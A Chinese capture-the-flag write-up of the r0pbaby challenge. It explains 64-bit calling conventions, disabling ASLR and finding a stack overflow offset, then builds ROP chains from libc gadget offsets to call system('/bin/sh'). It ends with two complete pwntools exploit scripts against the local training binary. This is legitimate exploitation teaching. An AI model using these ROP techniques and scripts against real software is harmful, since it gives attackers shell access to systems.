声明:本篇的作者 Moonshadow(CCSR小组重要成员之一)

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
./r0pbaby_542ee6516410709a1421141501f03760 

<!--more-->

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FF0352429B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FF034A9DC40
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:

目录

  1. 背景知识
    1. 64位CPU汇编代码参数传递方式
      1. Linux系统下的64位程序传参约定如下:
      2. Windows系统下的64位程序传参约定如下:
    2. Linux系统(Ubuntu)关闭ASLR机制
      1. 查看ASLR当前状态命令:
      2. 关闭ASLR命令
  2. 漏洞分析
    1. 方式一: 代码分析法
    2. 方式二: 运行状态分析法
  3. 漏洞利用
    1. Gadget 1:
    2. Gadget 2:
  4. 后记
  5. 参考资料
  6. 再次感谢Moonshadow@CCSR的友情分享
  7. 附件
    1. ropbaby2.py
    2. ropbaby3.py

背景知识

64位CPU汇编代码参数传递方式

在32位CPU的函数调用过程中,由于寄存器个数较少,因此通常采用在栈中传参;而在64位CPU的函数调用过程中,通常采用寄存器方式传递参数,仅当参数较多时,采用函数栈中传递参数。

Linux系统下的64位程序传参约定如下:

1、当参数少于7个时,参数从左到右放入寄存器: RDI,RSI,RDX,RCX,R8,R9

2、当参数为7个及以上时, 前6个参数采用寄存器传参(同上),后面的参数依次从“右向左”放入栈中,即和32位汇编一样。

示例如下:

1
2
3
4
5
H(a, b, c, d, e, f, g, h);
a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9
h->(%esp)
g->(%esp)
call H

Windows系统下的64位程序传参约定如下:

1、当参数少于5个时, 参数从左到右放入寄存器: RCX,RDX,R8,R9

2、当参数为5个及以上时, 前4个参数采用寄存器传参(同上),后面的参数依次从 “右向左” 放入栈中,即和32位汇编一样(注,与Linux不同的事,在栈中仍为这4个参数预留了32个字节的空间)。

Linux/Windows系统下64位程序的函数返回值仍通过RAX传递。

Linux系统(Ubuntu)关闭ASLR机制

在调试程序的过程中,如果需要多次加载ELF或SO动态库,为了保证每次加载的基地址不变,可以临时关闭ASLR机制。

查看ASLR当前状态命令:

1
2
3
4
5
cat /proc/sys/kernel/randomize_va_space
返回结果的含义:
0 = 关闭ASLR
1 = 半随机:共享库、栈、mmap() 以及 VDSO 将被随机化
2 = 全随机。除了1中所述,还有heap也被随机化。

关闭ASLR命令

1
2
3
4
5
$ su
Password: ******
# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
0

漏洞分析

漏洞分析过程主要通过对目标程序的静态分析或动态执行,构造特定的输入触发漏洞,本题为一个典型的栈溢出漏洞。以下通过两种方法开展漏洞分析。

方式一: 代码分析法

尝试运行程序,在菜单中发现当选择3时,可触发溢出并使得程序崩溃,如下图所示:

使用IDA Pro对程序进行静态分析,当选择菜单3时,在代码.text:0000555555554E4E位置调用了memcpy()函数,经过分析这正是引发溢出的关键代码点,代码块如下:

动态调试ropbaby程序,确认当选择菜单3并输入>=8个字节时,则会覆盖main函数的返回地址,覆盖前后的代码对比如下:

方式二: 运行状态分析法

运行状态分析法通过观察程序崩溃时的程序状态(包括寄存器、堆栈、数据区等),分析哪些异常数据触发了溢出,为进一步构造漏洞利用代码提供帮助。

笔者采用安装了Peda的GDB进行调试(安装过程详见参考资料3),过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ gdb ropbaby
……
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ run
Starting program: /home/roy/ropbaby/ropbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 50
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.

根据上表结果,当随机生成长度为50的字符串,并运行程序后,程序发生了崩溃,此时已触发异常,查看堆栈、RSP寄存器数据,结果如下:

上图显示,当代码执行到0x555555554eb3 ret时,函数返回,从rsp指针指向的栈顶地址中取出8个字节到rip寄存器继续执行,而此时栈顶数据为输入的字符串数据,显然返回地址已被覆盖,计算偏移量如下:

即返回地址在输入字符串的偏移量为8,这与方法一中的结果一致。

结论:方法一和方法二结果显示,当输入的数据大于8个字节时,即触发栈溢出。并且,覆盖返回地址的偏移量为8。

两种方式对比:方式一从汇编代码的角度剖析漏洞本质,更深入;方式二从程序运行状态监测溢出点,更快捷。

漏洞利用

该题向参赛者发布ELF文件ropbabylibc-2.23.so,参赛者利用ropbaby的漏洞连接远端地址,并触发漏洞获得远程主机的shell后获得flag。因此,获得shell通常需要执行system(“/bin/sh”)命令,即溢出后使得RIP跳转到system函数并执行。

查询ropbaby的安全状态如下图所示,该程序启用了DEP,因此需要构建ROP片段执行代码。

笔者提供2中构建ROP Gadget的方法,分别如下:

Gadget 1:

栈空间的布局如下,当函数返回时,执行0x7fffffffdd68引用的gadget:

0x7fffffffdd60 AAAAAAAA填充8字节
0x7fffffffdd68 ROP Gadget,函数返回时执行 pop rax, pop rdi, call rax
0x7fffffffdd70 system函数地址
0x7fffffffdd78 /bin/sh 字符串地址

1. 查找ROP Gadget

使用ROPgadget工具查找代码片段(ROPgadget安装过程详见参考资料4),查询结果如下:

如上图所示,符合条件的Gadget在libc-2.23.so的偏移量为0x0000000000107419

2. 查找system函数地址

使用objdump命令查找libc库的导出函数偏移地址,查询结果如下:

如上图所示,system函数在libc-2.23.so的偏移量为0x0000000000045390

3. 查找/bin/sh字符串地址

使用strings命令查找libc.so库中该字符串的偏移地址,查询结果如下:

如上图所示,/bin/sh字符串在libc-2.23.so的偏移量为0x18cd57

以上获得的3个地址,均为偏移地址,此时还需要获得libc库加载的基地址。从ropbaby提供的功能看,菜单选项1为获得libc基地址,如下:

分析代码中的菜单1选项的代码逻辑,可以看到:

程序在执行首先调用dlopen()函数动态加载libc.so.6库,并把返回的句柄handle写入[rbp+handle],当选择菜单1选项后,获得handle,并打印输出,逻辑如下:

可见菜单1返回的仅为libc库的调用句柄,而非libc加载的基地址。因此,若需获得libc加载的基地址,需要应用菜单2选项,获得system函数的虚拟地址,减去上文中获得的system函数的偏移量,即可获得libc函数的基地址。漏洞利用脚本的关键代码如下:

1
2
3
4
5
6
7
8
9
10
system_offset = 0x45390
bin_sh_offset = 0x18cd57
rop_gadget_offset = 0x107419 # pop rax, pop rdi, call rax
libc_base_addr = parse_addr(system_addr) - system_offset # libc基地址
bin_sh_addr = libc_base_addr + bin_sh_offset # /bin/sh 字符串的地址
rop_gadget_addr = libc_base_addr + rop_gadget_offset # gadget地址
payload = 'A'*8
payload += p64(rop_gadget_addr)
payload += p64(parse_addr(system_addr))
payload += p64(bin_sh_addr)

完整代码可见附件ropbaby2.py

Gadget 2:

栈空间的布局如下,当函数返回时,执行0x7fffffffdd68引用的gadget:

0x7fffffffdd60 AAAAAAAA填充8字节
0x7fffffffdd68 ROP Gadget,函数返回时执行 pop rdi, ret
0x7fffffffdd70 /bin/sh 字符串地址
0x7fffffffdd78 system函数地址

获取所需地址的方法详见Gadget 1,关键代码如下:

1
2
3
4
5
6
7
8
9
10
system_offset = 0x45390
bin_sh_offset = 0x18cd57
rop_gadget_offset = 0x21102 # pop rdi, ret
libc_base_addr = parse_addr(system_addr) - system_offset # libc基地址
bin_sh_addr = libc_base_addr + bin_sh_offset # /bin/sh 字符串的地址
rop_gadget_addr = libc_base_addr + rop_gadget_offset # gadget地址
payload = 'A'*8
payload += p64(rop_gadget_addr)
payload += p64(bin_sh_addr)
payload += p64(parse_addr(system_addr))

完整代码可见附件ropbaby3.py

后记

本题为一个典型的栈溢出漏洞利用题目,由于程序开启了DEP,因此需要构建ROP Gadget进行利用。

参考资料

[1] 64位CPU汇编代码参数传递方式

http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/

[2] Linux下关闭ALSR(地址空间随机化)的方法

https://blog.csdn.net/force_eagle/article/details/8024502

[3] GDB实用插件(peda, gef, gdbinit)全解

https://blog.csdn.net/gatieme/article/details/63254211

[4] ROPgadget

https://github.com/JonathanSalwan/ROPgadget/tree/master

再次感谢Moonshadow@CCSR的友情分享

附件

ropbaby2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

system_offset = 0x45390
bin_sh_offset = 0x18cd57
rop_gadget_offset = 0x107419 # pop rax, pop rdi, call rax

# parse addr
def parse_addr(buffer):
re_addr=re.compile(r"0x([0-9A-Z]{16,16})") #re
addr_str=re_addr.findall(buffer)
addr = 0x0
if addr_str != None:
addr = int(addr_str[0], 16)
return addr

if __name__ == '__main__':
sh = process("/home/roy/ropbaby/ropbaby")
sh.recvuntil(': ')
sh.sendline("1")
libcBaseAddr = sh.recvline()
print(libcBaseAddr)
sh.recvuntil(': ')
sh.sendline("2")
sh.recvuntil(": ")
sh.sendline("system")
system_addr = sh.readline()
print(system_addr)
libc_base_addr = parse_addr(system_addr) - system_offset
bin_sh_addr = libc_base_addr + bin_sh_offset
rop_gadget_addr = libc_base_addr + rop_gadget_offset
payload = 'A'*8
payload += p64(rop_gadget_addr)
payload += p64(parse_addr(system_addr))
payload += p64(bin_sh_addr)
# print(payload)
# sh.recvuntil(': ')
sh.sendline("3")
sh.recvuntil(": ")
sh.sendline("32")
sh.sendline(payload)
sh.recv()
# sh.recvuntil(': ')
# sh.sendline('4')

sh.interactive()

ropbaby3.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

system_offset = 0x45390
bin_sh_offset = 0x18cd57
rop_gadget_offset = 0x21102 # pop rdi, ret

# parse addr
def parse_addr(buffer):
re_addr=re.compile(r"0x([0-9A-Z]{16,16})") #re
addr_str=re_addr.findall(buffer)
addr = 0x0
if addr_str != None:
addr = int(addr_str[0], 16)
return addr

if __name__ == '__main__':
sh = process("/home/roy/ropbaby/ropbaby")
sh.recvuntil(': ')
sh.sendline("1")
libcBaseAddr = sh.recvline()
print(libcBaseAddr)
sh.recvuntil(': ')
sh.sendline("2")
sh.recvuntil(": ")
sh.sendline("system")
system_addr = sh.readline()
print(system_addr)
libc_base_addr = parse_addr(system_addr) - system_offset
bin_sh_addr = libc_base_addr + bin_sh_offset
rop_gadget_addr = libc_base_addr + rop_gadget_offset
payload = 'A'*8
payload += p64(rop_gadget_addr)
payload += p64(bin_sh_addr)
payload += p64(parse_addr(system_addr))

# print(payload)
# sh.recvuntil(': ')
sh.sendline("3")
sh.recvuntil(": ")
sh.sendline("32")
sh.sendline(payload)
sh.recv()
# sh.recvuntil(': ')
# sh.sendline('4')

sh.interactive()